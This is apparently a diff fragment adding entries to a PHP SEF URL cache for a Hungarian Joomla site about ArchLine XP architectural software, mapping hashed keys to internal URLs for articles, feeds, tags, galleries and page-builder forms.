+$this->_urlCache['d462944d052c72e7eb86f511936df68e']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=hu&limit=31&limitstart=93&type=atom&view=category#blog/munkak-bemutatasa/feed/atom/Page-4-31#0'; +$this->_urlCache['1bdca8cb33a58673e211892e1a7cba39']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=hu&limit=31&limitstart=124&type=atom&view=category#blog/munkak-bemutatasa/feed/atom/Page-5-31#0'; +$this->_urlCache['8100402e2db59ec7d06a16a1b32c2aa5']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=hu&limit=31&limitstart=31&type=atom&view=category#blog/munkak-bemutatasa/feed/atom/Page-2-31#0'; +$this->_urlCache['a6a39a3957e908614e631b4e11254826']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=hu&limit=31&limitstart=0&type=rss&view=category#blog/munkak-bemutatasa/feed/rss#0'; +$this->_urlCache['5320ae52a6602db7ac7be2673470ef27']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=hu&limit=31&limitstart=62&type=rss&view=category#blog/munkak-bemutatasa/feed/rss/Page-3-31#0'; +$this->_urlCache['cdb68c615512f63dc733253f8c7b1b3f']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=hu&limit=31&limitstart=155&type=rss&view=category#blog/munkak-bemutatasa/feed/rss/Page-6-31#0'; +$this->_urlCache['a42e57968c3768cc347d987004ea8ef7']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=hu&limit=31&limitstart=93&type=rss&view=category#blog/munkak-bemutatasa/feed/rss/Page-4-31#0'; +$this->_urlCache['0ed1d75b3368a98dad75a592c17dbdd4']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=hu&limit=31&limitstart=124&type=rss&view=category#blog/munkak-bemutatasa/feed/rss/Page-5-31#0'; +$this->_urlCache['a5756cb452089d295d27602438ba6222']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=hu&limit=31&limitstart=31&type=rss&view=category#blog/munkak-bemutatasa/feed/rss/Page-2-31#0'; +$this->_urlCache['daec0c79b50babccb40d2cc6a1bd716e']='index.php?option=com_sppagebuilder&Itemid=224&id=117&lang=hu&layout=edit&tmpl=component&view=form#117-epiteszeti-eszkozok/edit#0'; +$this->_urlCache['b2e3ad1475f3205c5fdbad7c0756de03']='index.php?option=com_sppagebuilder&Itemid=292&id=85&lang=hu&layout=edit&tmpl=component&view=form#85-epiteszeti-tervfeldolgozas/edit#0'; +$this->_urlCache['0ab86f2875023ea4c4403f2c2b17406c']='index.php?option=com_sppagebuilder&Itemid=577&id=228&lang=hu&layout=edit&tmpl=component&view=form#edit/228#0'; +$this->_urlCache['78539c94b57b79e3abf1c4dc8a1a5709']='index.php?option=com_sppagebuilder&Itemid=186&id=20&lang=hu&layout=edit&tmpl=component&view=form#20-belsoepiteszeti-elonyok/edit#0'; +$this->_urlCache['c3115137ada7590214c0a40fa56c5b89']='index.php?option=com_tags&id=9-3d&lang=hu&view=tag#tag/9-3d#0'; +$this->_urlCache['e6c3b9bda5929a5a7aa4875319f45fc3']='index.php?option=com_sppagebuilder&Itemid=693&id=311&lang=hu&layout=edit&tmpl=component&view=form#edit/311#0'; +$this->_urlCache['41de7c1bfc6a610401725c7a5bc0843e']='index.php?option=com_sppagebuilder&Itemid=504&id=185&lang=hu&layout=edit&tmpl=component&view=form#185-dokumentalas-es-nyomtatas-epiteszet-2-mozaik/edit#0'; +$this->_urlCache['3056b7afc27e023a809d32142b13dbd6']='index.php?option=com_content&id=312&lang=hu&view=article#blog/munkak-bemutatasa/muveszi-csaladi-haz-diplomamunka-henezi-orsolya#0'; +$this->_urlCache['b907fc4048ee0a18713f8ccf48531d92']='index.php?option=com_sppagebuilder&Itemid=193&id=17&lang=hu&layout=edit&tmpl=component&view=form#edit/17#0'; +$this->_urlCache['cf3fad7d646782be4a78e07727dc488d']='index.php?option=com_sppagebuilder&Itemid=488&id=169&lang=hu&layout=edit&tmpl=component&view=form#169-karpitozott-butorok-belsoepiteszet-2-mozaik/edit#0'; +$this->_urlCache['324d2eb3cbb66ec1e92a6a89a75cb17f']='index.php?option=com_sppagebuilder&Itemid=551&id=205&lang=hu&layout=edit&tmpl=component&view=form#205-tervezesi-fazisok-bim-mozaik/edit#0'; +$this->_urlCache['c15275a18e47ff003cfa54c998cdd6c8']='index.php?option=com_content&Itemid=176&format=feed&id=21&lang=hu&layout=blog&limit=11&type=rss&view=category#palyazatok/ev-kepe/feed/rss#0'; +$this->_urlCache['7d59caceddadc157c76137cbdb32ed48']='index.php?option=com_content&Itemid=176&format=feed&id=21&lang=hu&layout=blog&limit=11&type=atom&view=category#palyazatok/ev-kepe/feed/atom#0'; +$this->_urlCache['1da2c1cbec3e496d6216f30761eac52e']='index.php?option=com_content&Itemid=176&format=feed&id=21&lang=hu&layout=blog&limit=11&limitstart=0&type=atom&view=category#palyazatok/ev-kepe/feed/atom#0'; +$this->_urlCache['7babb760dee8192f969732f55f261402']='index.php?option=com_content&Itemid=176&format=feed&id=21&lang=hu&layout=blog&limit=11&limitstart=0&type=rss&view=category#palyazatok/ev-kepe/feed/rss#0'; +$this->_urlCache['56def80d198c7f220938ea95cd3d8dd5']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=hu&layout=blog&limit=31&type=rss&view=category#palyazatok/honap-kepe/feed/rss#0'; +$this->_urlCache['1b83d1d164b1ba2f192372722ce30247']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=hu&layout=blog&limit=31&type=atom&view=category#palyazatok/honap-kepe/feed/atom#0'; +$this->_urlCache['5cc4743bfdb21ada5ab9b0636a316ada']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=hu&layout=blog&limit=31&limitstart=0&type=atom&view=category#palyazatok/honap-kepe/feed/atom#0'; +$this->_urlCache['89a0d094709faeb601c7aae0345e3e82']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=hu&layout=blog&limit=31&limitstart=0&type=rss&view=category#palyazatok/honap-kepe/feed/rss#0'; +$this->_urlCache['33db8958f3cd3d77bd56c67fbff4b0df']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=hu&layout=blog&limit=31&limitstart=62&type=rss&view=category#palyazatok/honap-kepe/feed/rss/Page-3-31#0'; +$this->_urlCache['b4172621a027367d4b67d91a69ac6c75']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=hu&layout=blog&limit=31&limitstart=93&type=rss&view=category#palyazatok/honap-kepe/feed/rss/Page-4-31#0'; +$this->_urlCache['8635a5b84b17f1a54101c86702ccd07b']='index.php?option=com_content&Itemid=175&format=feed&id=20&lang=hu&layout=blog&limit=31&limitstart=31&type=rss&view=category#palyazatok/honap-kepe/feed/rss/Page-2-31#0'; +$this->_urlCache['a646bd1ac6ccf1e2f29e8a5414a58f3d']='index.php?option=com_sppagebuilder&Itemid=193&id=17&lang=hu&view=page#oktatas/workshopok-old#1'; +$this->_urlCache['072df1d94ddad0c5c43680693bec97d4']='index.php?option=com_content&Itemid=176&id=21&lang=hu&layout=blog&limit=11&view=category#palyazatok/ev-kepe/#0'; +$this->_urlCache['1163994a6786137aebcb325c6d301cd0']='index.php?option=com_content&Itemid=176&id=21&lang=hu&layout=blog&limit=11&limitstart=0&view=category#palyazatok/ev-kepe/#0'; +$this->_urlCache['597360ad51f0a28588429bd1512373d4']='index.php?option=com_sppagebuilder&Itemid=211&id=21&lang=hu&layout=edit&tmpl=component&view=form#21-2017-es-ujdonsagok/edit#0'; +$this->_urlCache['be3112e0360030b059b2f3faba9329ea']='index.php?option=com_sppagebuilder&Itemid=470&id=150&lang=hu&layout=edit&tmpl=component&view=form#150-oktato-videok-epiteszet-2/edit#0'; +$this->_urlCache['795568df79708e514f50b70186b07b51']='index.php?option=com_content&Itemid=124&catid=42&id=399&lang=hu&view=article#archline-xp/hirek/workshop-2017-berlet#0'; +$this->_urlCache['e110685df85221964cc73e0d69418b1c']='index.php?option=com_sppagebuilder&Itemid=661&id=295&lang=hu&layout=edit&tmpl=component&view=form#edit/295#0'; +$this->_urlCache['958274b914d1970a9c0d6690e4a22096']='index.php?option=com_sppagebuilder&Itemid=216&id=56&lang=hu&layout=edit&tmpl=component&view=form#56-programverziok/edit#0'; +$this->_urlCache['6a23ffd2a80fa85d66956fae1d2839dd']='index.php?option=com_content&Itemid=124&catid=22&id=529&lang=hu&view=article#palyazatok/evszak-hangulatmontazsa/2015-osz#0'; +$this->_urlCache['f2f206d20d76e053ac284a7c0c898bc4']='index.php?option=com_content&Itemid=124&catid=22&id=530&lang=hu&view=article#palyazatok/evszak-hangulatmontazsa/2015-tel#0'; +$this->_urlCache['db38afaa5ade784f8979195baf10bafb']='index.php?option=com_content&Itemid=124&catid=22&id=533&lang=hu&view=article#palyazatok/evszak-hangulatmontazsa/2016-osz#0'; +$this->_urlCache['a900bfc97d95d91f427b9825ad42b02d']='index.php?option=com_content&Itemid=124&catid=22&id=534&lang=hu&view=article#palyazatok/evszak-hangulatmontazsa/2016-tel#0'; +$this->_urlCache['12cb35ea9c355244ba8d9bb21a5ec993']='index.php?option=com_content&Itemid=124&catid=22&id=605&lang=hu&view=article#palyazatok/evszak-hangulatmontazsa/2017-nyar#0'; +$this->_urlCache['a02dc0e285634bfb3b9cdff784b41186']='index.php?option=com_content&Itemid=124&catid=22&id=620&lang=hu&view=article#palyazatok/evszak-hangulatmontazsa/2017-osz#0'; +$this->_urlCache['dea0e160a1dc06a36fdede31f8b523a1']='index.php?option=com_content&Itemid=124&catid=22&id=589&lang=hu&view=article#palyazatok/evszak-hangulatmontazsa/2017-tavasz#0'; +$this->_urlCache['21b89b5616c0f251e51b0cf79ba43052']='index.php?option=com_sppagebuilder&Itemid=637&id=266&lang=hu&layout=edit&tmpl=component&view=form#edit/266#0'; +$this->_urlCache['468713aed8394fc786ebd677ce662958']='index.php?option=com_tags&id=109&lang=hu&view=tag#tag/109#0'; +$this->_urlCache['01488ceffa8af2b3db6ec0d84505aceb']='index.php?option=com_content&id=308&lang=hu&view=article#blog/munkak-bemutatasa/konyha-atalakitasa-ket-valtozatban-sallak-andrea-tervezotol#0'; +$this->_urlCache['97f5fd5d01b4d20437bd969498af2b10']='index.php?option=com_tags&id=110&lang=hu&view=tag#tag/110#0'; +$this->_urlCache['534152e66b17780671dd32d819167bd5']='index.php?option=com_sppagebuilder&Itemid=663&id=297&lang=hu&layout=edit&tmpl=component&view=form#edit/297#0'; +$this->_urlCache['7b1989a113119c4f9e605dbbc0a2e5f2']='index.php?option=com_sppagebuilder&Itemid=754&id=362&lang=hu&layout=edit&tmpl=component&view=form#edit/362#0'; +$this->_urlCache['88e898dc877537535e028c2d6e667f8d']='index.php?option=com_sppagebuilder&Itemid=544&id=200&lang=hu&view=page#termekek/archline-xp-professional/2019-es-ujdonsagok#1'; +$this->_urlCache['041a3dca0cc93c36bbff7db0221ba1ac']='index.php?option=com_content&Itemid=124&catid=42&id=678&lang=hu&view=article#archline-xp/hirek/archlinexp2018-asztali-hatterek#0'; +$this->_urlCache['61117201eec234d78cde7776510f51f4']='index.php?option=com_content&Itemid=124&catid=42&id=522&lang=hu&view=article#archline-xp/hirek/az-ev-lakberendezoje-2016-szerezz-szakmai-elismerest#0'; +$this->_urlCache['0681999148697fba667674445a2c5e3a']='index.php?option=com_content&Itemid=124&catid=42&id=583&lang=hu&view=article#archline-xp/hirek/bimobject-es-a-cadline-kft-egyuettmukoedesi-megallapodasa#0'; +$this->_urlCache['8b00b4e78093992a8cc33e8020449d94']='index.php?option=com_content&Itemid=124&catid=42&id=615&lang=hu&view=article#archline-xp/hirek/szakmai-eloadas-a-leica-magyarorszag-bim-workshopjan#0'; +$this->_urlCache['7467cf407d4ca1b08196d377299c1ae3']='index.php?option=com_content&Itemid=124&catid=42&id=527&lang=hu&view=article#archline-xp/hirek/teletextil-szakmai-kiadvany-2016-nyari-szam#0'; +$this->_urlCache['53bc7a083475b3e9dcaf00f43d666624']='index.php?option=com_content&Itemid=124&catid=42&id=526&lang=hu&view=article#archline-xp/hirek/teletextil-szakmai-kiadvany-2016-oszi-szam#0'; +$this->_urlCache['fb0d4165bc9fd9114e317fd4fc4227ee']='index.php?option=com_content&Itemid=124&catid=42&id=621&lang=hu&view=article#archline-xp/hirek/teletextil-szakmai-kiadvany-2017-teli-szam#0'; +$this->_urlCache['3b745804476fffcb1850a0693f80904d']='index.php?option=com_content&Itemid=124&catid=42&id=858&lang=hu&view=article#archline-xp/hirek/tervezoink-munkai-2020#0'; +$this->_urlCache['2c821998b9e13aceee6ca6954331dd68']='index.php?option=com_content&Itemid=124&catid=42&id=856&lang=hu&view=article#archline-xp/hirek/tervezoink-munkai-2020-belsoepiteszet#0'; +$this->_urlCache['0851559e1ab9866d91be4251bfd6cf53']='index.php?option=com_content&Itemid=124&catid=42&id=857&lang=hu&view=article#archline-xp/hirek/tervezoink-munkai-2020-epiteszet#0'; +$this->_urlCache['4cf6c74e47680a72c395bee14282287f']='index.php?option=com_content&Itemid=124&catid=42&id=632&lang=hu&view=article#archline-xp/hirek/uj-archline-xp-tanfolyamok#0'; +$this->_urlCache['d71d9146ffdb5d01036f85c7054913c9']='index.php?option=com_content&Itemid=124&catid=42&id=398&lang=hu&view=article#archline-xp/hirek/uj-szoftver-applikacio-orthograph#0'; +$this->_urlCache['052079f086b02893ac5b3ea8633e7c5e']='index.php?option=com_content&Itemid=124&catid=42&id=400&lang=hu&view=article#archline-xp/hirek/varunk-a-construma-2017-kiallitason#0'; +$this->_urlCache['1d10426786ca42e3bb3423f22a2129cb']='index.php?option=com_content&Itemid=124&catid=42&id=645&lang=hu&view=article#archline-xp/hirek/varunk-iden-is-a-construma-2018-kiallitason#0'; +$this->_urlCache['d2b9a8e8eb62c18fdd95ef2476eb0d46']='index.php?option=com_content&Itemid=124&catid=34&id=489&lang=hu&view=article#letoltes/licensz-szerzodes-nyomtathato#0'; +$this->_urlCache['1da38dea2e0a36f63db9391cf50e5ba4']='index.php?option=com_sppagebuilder&Itemid=658&id=291&lang=hu&layout=edit&tmpl=component&view=form#edit/291#0'; +$this->_urlCache['356a3747f9631d692e11110e4392189b']='index.php?option=com_sppagebuilder&Itemid=501&id=182&lang=hu&layout=edit&tmpl=component&view=form#182-terep-es-epitesi-terv-epiteszet-2-mozaik/edit#0'; +$this->_urlCache['68af86b57e39efa010cfd10c72a9951b']='index.php?option=com_sppagebuilder&Itemid=495&id=176&lang=hu&layout=edit&tmpl=component&view=form#176-almennyezet-epiteszet-1-mozaik/edit#0'; +$this->_urlCache['b1528f03586e511ae9b451ab98762551']='index.php?option=com_sppagebuilder&Itemid=592&id=241&lang=hu&layout=edit&tmpl=component&view=form#edit/241#0'; +$this->_urlCache['0d87dca3ec213bdd0b9d910877c44082']='index.php?option=com_sppagebuilder&Itemid=700&id=279&lang=hu&layout=edit&tmpl=component&view=form#edit/279#0'; +$this->_urlCache['1189f0f1af218dc4fb2f4f181f1c4e40']='index.php?option=com_content&Itemid=124&catid=42&id=727&lang=hu&view=article#archline-xp/hirek/talalkozzunk-a-construma-2019-kiallitason#0'; +$this->_urlCache['1e469f2fccaf35c86d998fd5a63ed2c0']='index.php?option=com_content&Itemid=177&format=feed&id=22&lang=hu&layout=blog&type=rss&view=category#palyazatok/evszak-hangulatmontazsa/feed/rss#0'; +$this->_urlCache['c506295edc11da09cd2973ffd0bd9d49']='index.php?option=com_content&Itemid=177&format=feed&id=22&lang=hu&layout=blog&type=atom&view=category#palyazatok/evszak-hangulatmontazsa/feed/atom#0'; +$this->_urlCache['f8b4d97cf5c6698d5d679e2a907d7e23']='index.php?option=com_tags&id=69-2017&lang=hu&view=tag#tag/2017#0'; +$this->_urlCache['d9662127d5498ba83defef4b895025f3']='index.php?option=com_tags&id=81-hangulatmontazs&lang=hu&view=tag#tag/hangulatmontazs#0'; +$this->_urlCache['c3b1a71ba7bc6ebef005c80c6acd7d57']='index.php?option=com_tags&id=82-osz&lang=hu&view=tag#tag/osz#0'; +$this->_urlCache['9a7ca56dd63432cefec5c98247081123']='index.php?option=com_sppagebuilder&Itemid=398&id=58&lang=hu&layout=edit&tmpl=component&view=form#58-szaniterek-a-gyartoktol/edit#0'; +$this->_urlCache['ec88492b5630d0d3ca30fdcb551d1ccf']='index.php?option=com_tags&id=108&lang=hu&view=tag#tag/108#0'; +$this->_urlCache['c5bc1f83d1824347a821d33327227bec']='index.php?option=com_sppagebuilder&Itemid=197&id=55&lang=hu&layout=edit&tmpl=component&view=form#55-uj-vagyok/edit#0'; +$this->_urlCache['3ab64c7e62d37711b50543382353f4af']='index.php?option=com_content&Itemid=124&catid=57&id=580&lang=hu&view=article#karbantartas/hirlevel-leiratkozas-sikeres#0'; +$this->_urlCache['7929df033c6d2f50ffcaea8ec6b4166a']='index.php?option=com_content&Itemid=176&format=feed&id=21&lang=hu&layout=blog&limit=11&limitstart=11&type=rss&view=category#palyazatok/ev-kepe/feed/rss/Page-2-11#0'; +$this->_urlCache['e7057a6f3ed0d4f99700ae37afd91c08']='index.php?option=com_sppagebuilder&Itemid=272&id=72&lang=hu&layout=edit&tmpl=component&view=form#72-alapozo/edit#0'; +$this->_urlCache['09f00a85a4ef2622f5ac7549eb631d99']='index.php?option=com_jsn&id=&lang=hu&view=profile#jsn#0'; +$this->_urlCache['e7b83503325e7716e6529bfceedbe754']='index.php?option=com_jsn&Itemid=&id=32121&lang=hu&view=profile#mestervikigmail.com.html#0'; +$this->_urlCache['fd5483418d96242f82c5b5cf3e109cc0']='index.php?option=com_finder&Itemid=343&lang=hu&view=search#kereses#0'; +$this->_urlCache['4cbed623f792c06ea35de7dd550888fc']='index.php?option=com_sppagebuilder&Itemid=219&id=94&lang=hu&layout=edit&tmpl=component&view=form#94-archline-klub/edit#0'; +$this->_urlCache['882c818ff375b8752e1e9a4455630a94']='index.php?option=com_sppagebuilder&Itemid=466&id=149&lang=hu&layout=edit&tmpl=component&view=form#149-oktato-videok-alapok-2/edit#0'; +$this->_urlCache['33c903d5a13ec95d2ab0109d52fdc30e']='index.php?option=com_sppagebuilder&Itemid=475&id=156&lang=hu&layout=edit&tmpl=component&view=form#156-projekt-szervezes-alapok-2-mozaik/edit#0'; +$this->_urlCache['2b811c5b52b013fb605dbaf7ec5d9fee']='index.php?option=com_sppagebuilder&Itemid=657&id=290&lang=hu&layout=edit&tmpl=component&view=form#edit/290#0'; +$this->_urlCache['d9b47869bb3a9845a85a0ab3e77d4896']='index.php?option=com_sppagebuilder&Itemid=505&id=186&lang=hu&layout=edit&tmpl=component&view=form#186-listazas-epiteszet-2-mozaik/edit#0'; +$this->_urlCache['c1f6c4870300a9b311bbfe17211bf9f3']='index.php?option=com_content&Itemid=175&id=20&lang=hu&layout=blog&limit=31&view=category#palyazatok/honap-kepe/#0'; +$this->_urlCache['a1add37d448e63d79b0f3964ec190181']='index.php?option=com_content&Itemid=175&id=20&lang=hu&layout=blog&limit=31&limitstart=0&view=category#palyazatok/honap-kepe/#0'; +$this->_urlCache['a343d08433a501f96e5333af54b50178']='index.php?option=com_sppagebuilder&Itemid=683&id=306&lang=hu&layout=edit&tmpl=component&view=form#edit/306#0'; +$this->_urlCache['8b653127e0b9b598ce15801ce42eba64']='index.php?option=com_sppagebuilder&Itemid=485&id=167&lang=hu&layout=edit&tmpl=component&view=form#167-modellezo-eszkozok-belsoepiteszet-2-mozaik/edit#0'; +$this->_urlCache['71b0f0b881965e7340d2cf78297445d1']='index.php?option=com_tags&id=14&lang=hu&view=tag#tag/14#0'; +$this->_urlCache['c74c623c73767cf1a991cb93e326df13']='index.php?option=com_content&Itemid=124&catid=34&id=565&lang=hu&view=article#letoltes/trial-letoltes-2017-234#0'; +$this->_urlCache['6eaa9abab2bd3a7c2890a9c05fda10c9']='index.php?option=com_sppagebuilder&Itemid=481&id=162&lang=hu&layout=edit&tmpl=component&view=form#162-konyha-belsoepiteszet-1-mozaik/edit#0'; +$this->_urlCache['5c1ddb4b17671e8813ff587037417434']='index.php?option=com_sppagebuilder&Itemid=285&id=78&lang=hu&layout=edit&tmpl=component&view=form#78-1-napos-latvanytervezes-kurzus/edit#0'; +$this->_urlCache['fd433e1e3453b9d395b78b5d1548f468']='index.php?option=com_tags&id=87-blog&lang=hu&view=tag#tag/87-blog#0'; +$this->_urlCache['65baef75436cf85afcfed013bbea5418']='index.php?option=com_sppagebuilder&Itemid=396&id=111&lang=hu&layout=edit&tmpl=component&view=form#111-oktatoi-nap/edit#0'; +$this->_urlCache['3d78280c26c00edee227f54ecba8f5a1']='index.php?option=com_sppagebuilder&Itemid=581&id=23&lang=hu&view=page#termekek/archline-xp-live/galeria/video-galeria#1'; +$this->_urlCache['601a4f440ba0de337ce102d5acfebf71']='index.php?option=com_sppagebuilder&Itemid=287&id=80&lang=hu&layout=edit&tmpl=component&view=form#80-karpitozott-butorok/edit#0'; +$this->_urlCache['d1f995e4b2c831d449881b38b593c315']='index.php?option=com_content&Itemid=189&format=feed&id=42&lang=hu&layout=blog&type=rss&view=category#archline-xp/hirek/feed/rss#0'; +$this->_urlCache['9ad3805eaf985715f94b20ca6a8d3522']='index.php?option=com_content&Itemid=189&format=feed&id=42&lang=hu&layout=blog&type=atom&view=category#archline-xp/hirek/feed/atom#0'; +$this->_urlCache['6373e840f1e30957086697ab4d5f9a9a']='index.php?option=com_content&Itemid=124&catid=42&id=876&lang=hu&view=article#archline-xp/hirek/radeco-radiatorok-a-tervezesben#0'; +$this->_urlCache['d8a238d81756d65609812374da10dad9']='index.php?option=com_content&Itemid=124&catid=42&id=785&lang=hu&view=article#archline-xp/hirek/hamarosan-itt-az-elso-furdoszoba-es-otthoni-wellness-kiallitas#0'; +$this->_urlCache['0d53c8108c1ef83b7e64dd116e4da0b6']='index.php?option=com_content&Itemid=124&catid=42&id=610&lang=hu&view=article#archline-xp/hirek/teletextil-szakmai-kiadvany-2017-oszi-szam#0'; +$this->_urlCache['25ec3001f8fda4c4cb2bed3e1d1ab95f']='index.php?option=com_content&Itemid=124&catid=42&id=524&lang=hu&view=article#archline-xp/hirek/teletextil-szakmai-kiadvany-2017-tavaszi-szam#0'; +$this->_urlCache['989bd30fcccb586f7feec545f6ce1c01']='index.php?option=com_content&Itemid=124&catid=42&id=528&lang=hu&view=article#archline-xp/hirek/teletextil-szakmai-kiadvany-2016-tavaszi-szam#0'; +$this->_urlCache['c521dee1d11a4affa46030125eac0071']='index.php?option=com_sppagebuilder&Itemid=217&id=63&lang=hu&layout=edit&tmpl=component&view=form#63-tippek-dokumentaciok/edit#0'; +$this->_urlCache['00640f3033366b395752218df5ef9fe6']='index.php?option=com_content&Itemid=189&format=feed&id=42&lang=hu&type=rss&view=category#archline-xp/hirek/feed/rss#0'; +$this->_urlCache['241391bc1bb247c0698403a6931acedd']='index.php?option=com_content&Itemid=189&format=feed&id=42&lang=hu&type=atom&view=category#archline-xp/hirek/feed/atom#0'; +$this->_urlCache['cb5e117a88b583f4d31e831fe1f29ddc']='index.php?option=com_content&Itemid=124&format=feed&id=53&lang=hu&type=rss&view=category#archline-xp/letoltesikozpont/program-verziok/feed/rss#0'; +$this->_urlCache['8913f5a9537bcfabcfb343029964e037']='index.php?option=com_content&Itemid=124&format=feed&id=53&lang=hu&type=atom&view=category#archline-xp/letoltesikozpont/program-verziok/feed/atom#0'; +$this->_urlCache['ad08840cd981e7bce4674d9528617e31']='index.php?option=com_content&Itemid=124&id=51&lang=hu&view=category#archline-xp/letoltesikozpont/program-verziok/valtozasok/#0'; +$this->_urlCache['d37df932270944e1794b14e1691491c1']='index.php?option=com_content&Itemid=124&format=feed&id=49&lang=hu&type=rss&view=category#oktatas/iskolak/oktatoi-vizsga/feed/rss#0'; +$this->_urlCache['8142d9f29a4cffd81cf8b9f7a7a91c9f']='index.php?option=com_content&Itemid=124&format=feed&id=49&lang=hu&type=atom&view=category#oktatas/iskolak/oktatoi-vizsga/feed/atom#0'; +$this->_urlCache['d332b0788690dfd347073f3a01dd0d28']='index.php?option=com_content&Itemid=124&catid=49&id=544&lang=hu&view=article#oktatas/iskolak/oktatoi-vizsga/oktatoi-vizsga#0'; +$this->_urlCache['3a5ea440334303ec705e8bb480fa508d']='index.php?option=com_content&Itemid=124&catid=49&id=545&lang=hu&view=article#oktatas/iskolak/oktatoi-vizsga/archlinexp-interior-oktatoi-vizsga-felkeszito-anyagok#0'; +$this->_urlCache['ad42467f442e678bd6e97fcc1d1617fd']='index.php?option=com_sppagebuilder&Itemid=472&id=153&lang=hu&layout=edit&tmpl=component&view=form#153-kezelofelulet-alapok-1-mozaik/edit#0'; +$this->_urlCache['2038f0d1fff9d8e89bdcaaa297da447d']='index.php?option=com_content&Itemid=367&format=feed&id=25&lang=hu&limit=31&limitstart=31&type=rss&view=category#blog/szakmai-cikkek/feed/rss/Page-2-31#0'; +$this->_urlCache['65f98e8bafd4c75a390408ec573602ba']='index.php?option=com_content&Itemid=189&id=42&lang=hu&layout=blog&view=category#blog/hirek/#1'; +$this->_urlCache['2d92054b3b233cc6012a9db74b27d2a8']='index.php?option=com_sppagebuilder&Itemid=695&id=346&lang=hu&layout=edit&tmpl=component&view=form#edit/346#0'; +$this->_urlCache['6c140c7dae4ab7f41fa91bc0c131e715']='index.php?option=com_sppagebuilder&Itemid=694&id=312&lang=hu&layout=edit&tmpl=component&view=form#edit/312#0'; +$this->_urlCache['2afdd2568b4b93eaee491f434224ca36']='index.php?option=com_sppagebuilder&Itemid=732&id=330&lang=hu&layout=edit&tmpl=component&view=form#edit/330#0'; +$this->_urlCache['4a8af24fc585e20a1c87e25ecd5a2125']='index.php?option=com_sppagebuilder&Itemid=662&id=296&lang=hu&layout=edit&tmpl=component&view=form#edit/296#0'; +$this->_urlCache['6398c994e39195a31e6b8735a62c798c']='index.php?option=com_sppagebuilder&Itemid=124&id=1&lang=hu&layout=edit&tmpl=component&view=form#1-index/edit#0'; +$this->_urlCache['af2af5433e0ba0490412d3d1fea151b3']='index.php?option=com_k2&id=80&lang=hu&view=item#item/80-elegedett-felhasznalo#0'; +$this->_urlCache['d1736699f7ff74aefd6772153f395d7d']='index.php?option=com_k2&id=10&lang=hu&task=category&view=itemlist#itemlist/category/10-fun-facts#0'; +$this->_urlCache['11c3ef0d5fb68980085769954db0177b']='index.php?option=com_k2&id=951&lang=hu&task=user&view=itemlist#itemlist/user/951-herveloranthervindanbernadettszekeresdavid#0'; +$this->_urlCache['955da0448d8974ed9d0c00e2adc9135d']='index.php?option=com_k2&id=81&lang=hu&view=item#item/81-elkeszult-projekt#0'; +$this->_urlCache['37b49cf7ccd81d4f33ab460c146c66d4']='index.php?option=com_k2&id=82&lang=hu&view=item#item/82-tweet#0'; +$this->_urlCache['acdc3121da1b39bad8262227bd19352b']='index.php?option=com_k2&id=83&lang=hu&view=item#item/83-facebook-like#0'; +$this->_urlCache['ef5142cdd0361b96106bf0bcc05dc2dc']='index.php?option=com_sppagebuilder&Itemid=348&id=100&lang=hu&layout=edit&tmpl=component&view=form#100-404-error/edit#0'; +$this->_urlCache['19c14cd63722bbf52890b5626df6de10']='index.php?option=com_sppagebuilder&Itemid=224&id=117&lang=hu&view=page#termekek/archline-xp-professional/epiteszeti-elonyok#1'; +$this->_urlCache['8427481e798bf0fa1c60eee3d4ab3923']='index.php?option=com_tags&id=15&lang=hu&view=tag#tag/15#0'; +$this->_urlCache['1e312005a7033c7bdd5a32599685b9de']='index.php?option=com_sppagebuilder&Itemid=282&id=75&lang=hu&layout=edit&tmpl=component&view=form#75-anyagszerkesztes-es-kepretusalas/edit#0'; +$this->_urlCache['08e579dd2b0c7489d0c2452e1b04ec94']='index.php?option=com_sppagebuilder&Itemid=568&id=219&lang=hu&layout=edit&tmpl=component&view=form#219-telepites-aktivalas-alapok-1-mozaik/edit#0'; +$this->_urlCache['39ff4e6b421a1feb67e7a4c0b933c101']='index.php?option=com_joomgallery&Itemid=77&lang=hu&view=gallery#joomgallery#0'; +$this->_urlCache['cd9178cef271b08fd3067ca93c694596']='index.php?option=com_joomgallery&Itemid=77&lang=hu#joomgallery#0'; +$this->_urlCache['22b7d53e79732a47131af0806860e59c']='index.php?option=com_joomgallery&Itemid=77&lang=hu&view=search#search#0'; +$this->_urlCache['fed24b805111127f770145e9ffc6c9ea']='index.php?option=com_joomgallery&Itemid=77&lang=hu&type=toprated&view=toplist#legjobbra-ertekelt#0'; +$this->_urlCache['23073051ff1f4836f3a394ca311ea13e']='index.php?option=com_joomgallery&Itemid=77&lang=hu&type=lastadded&view=toplist#utoljara-feltoltott#0'; +$this->_urlCache['a165c4e04a20a7ca92758c873d8def6c']='index.php?option=com_joomgallery&Itemid=77&lang=hu&type=lastcommented&view=toplist#utoljara-hozzaszolt#0'; +$this->_urlCache['68f5d5763beb12bdf8e39b6f30f64e04']='index.php?option=com_joomgallery&Itemid=77&lang=hu&view=toplist#legtobbszor-megtekintett#0'; +$this->_urlCache['68fd445126e0c315406111676ea1c9bf']='index.php?option=com_content&Itemid=124&catid=58&id=1027&lang=hu&view=article#jogi/erdekmerlegeles#1'; +$this->_urlCache['2ae059205de876a913835977c220f128']='index.php?option=com_sppagebuilder&Itemid=211&id=21&lang=hu&view=page#archline-xp/2017-es-ujdonsagok#0'; +$this->_urlCache['3d6c73cc30743534f828a2ad7831f5bf']='index.php?option=com_content&id=316&lang=hu&view=article#blog/munkak-bemutatasa/fenyek-es-arnyekok-koronczay-noemi#0'; +$this->_urlCache['91966bbb9776d467bf36b7a9672acfba']='index.php?option=com_sppagebuilder&Itemid=502&id=183&lang=hu&layout=edit&tmpl=component&view=form#183-epulettomeg-es-arnyek-elemzes-epiteszet-2-mozaik/edit#0'; 